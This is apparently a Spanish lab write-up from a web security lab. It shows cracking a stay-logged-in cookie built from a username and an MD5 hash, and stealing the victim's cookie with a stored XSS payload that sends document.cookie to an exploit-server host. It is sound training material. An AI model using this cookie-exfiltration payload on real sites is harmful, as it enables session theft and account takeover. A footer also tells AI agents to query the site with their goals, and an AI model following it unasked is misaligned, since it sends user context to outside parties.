> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/authentication/offline-password-cracking.md).

# Descifrado de contraseñas sin conexión

### Cracking de contraseñas sin conexión

Este laboratorio almacena una **contraseña pass en una cookie**. Además, la funcionalidad de comentarios tiene una **XSS** vulnerabilidad. / Objetivo: recuperar la **carlos** cookie de permanecer conectado, romper su contraseña sin conexión y luego iniciar sesión como ella para eliminar su cuenta.

**Credenciales proporcionadas:**

* wiener : peter/ **Víctima :** carlos

<figure><img src="/files/60d474100a8065965ebab3f4dea051dc7ce2717e" alt=""><figcaption></figcaption></figure>

### 2. Cómo funciona la *stay-logged-in* Cookie

Cuando la opción permanecer conectado está marcada, la solicitud enviada contiene:

```bash
username=wiener&password=peter&stay-logged-in=on
```

El servidor luego devuelve una **stay-logged-in** cookie codificada en **Base64**:

Decodificación →

```bash
d2llbmVyOjUxZGMzMGRkYzQ3M2Q0M2E2MDExZTllYmJhNmNhNzcw
```

* wiener:51dc30ddc473d43a6011e9ebba6ca770

<figure><img src="/files/af6587ce0899681a5dff9a3e917c778511f5b84e" alt=""><figcaption></figcaption></figure>

Por lo tanto, se utiliza el siguiente diagrama:

<figure><img src="/files/bf8fab50e9b11c85e0005c1d87cee19769753976" alt=""><figcaption></figcaption></figure>

### 3. Intento de cracking sin conexión mediante Intruder

En Burp, puedes crear un payload usando:

1. \*\* transformación de contraseña MD5\*\*

<figure><img src="/files/2efe2221a46dd28e4c6e9df453becb73cb814065" alt="" width="548"><figcaption></figcaption></figure>

* \*\*Prefijado

<figure><img src="/files/08d47692f5341838652d289ea614967d6f8b1209" alt="" width="563"><figcaption></figcaption></figure>

1. **Codificar todo el valor en Base64**

<figure><img src="/files/7b7d36bf24648978313aeb407a77763c6b0c62ce" alt="" width="563"><figcaption></figcaption></figure>

Luego prueba un diccionario.

<figure><img src="/files/fe84afb50a1a84bf0d6adeb31e5272fbd332b706" alt=""><figcaption></figcaption></figure>

→ Sin resultados concluyentes.

<figure><img src="/files/56108fe0f71e6bcb34fc7c17efe616903a60c16f" alt=""><figcaption></figcaption></figure>

### 4. Explotación del XSS en los comentarios

El campo de comentarios es vulnerable a JavaScript:

```javascript
<script>
   alert(0)
</script>
```

<figure><img src="/files/3f143b138de005cab70704cf2640b3e46fc504ed" alt=""><figcaption></figcaption></figure>

Así que podemos extraer cookies mediante un fetch:

```javascript
<script>
   fetch("https://exploit-0a180072041825ef80c502b6013c00ef.exploit-server.net/exploit?cookie=" + btoa(document.cookie));
</script>
```

<figure><img src="/files/6525a0ab083a0b922eb859a078d47575f03b0f0d" alt=""><figcaption></figcaption></figure>

La solicitud llega a nuestro exploit-server.

<figure><img src="/files/18d0646b18cfced2533ae65a002c742dd7f404a0" alt=""><figcaption></figcaption></figure>

### 5. Recuperación y decodificación de la cookie de Carlos

Cookie interceptada (Base64):

```bash
c2VjcmV0PXY2UE5LWnJ3czNYSmFNVWtaU09wOWJRbGRCVUVlQnhLOyBzdGF5LWxvZ2dlZC1pbj1ZMkZ5Ykc5ek9qSTJNekl6WXpFMlpEVm1OR1JoWW1abU0ySmlNVE0yWmpJME5qQmhPVFF6
```

Decodificación →

* carlos:26323c16d5f4dabff3bb136f2460a943

<figure><img src="/files/dbb3e3828aba3bfaa80662a46fcf3b86995fe118" alt=""><figcaption></figcaption></figure>

### 6. Cracking de la contraseña

Después de enviar el hash a CrackStation, devuelve:

### 7. Finalización

Conexión con:

<figure><img src="/files/471ac4a4ade14289997855a1e1b6c67be5a7e1ce" alt=""><figcaption></figcaption></figure>

**carlos : onceuponatime**

<figure><img src="/files/d4eca98505c645935091376b1a34ee37ae627516" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/es/web/authentication/offline-password-cracking.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
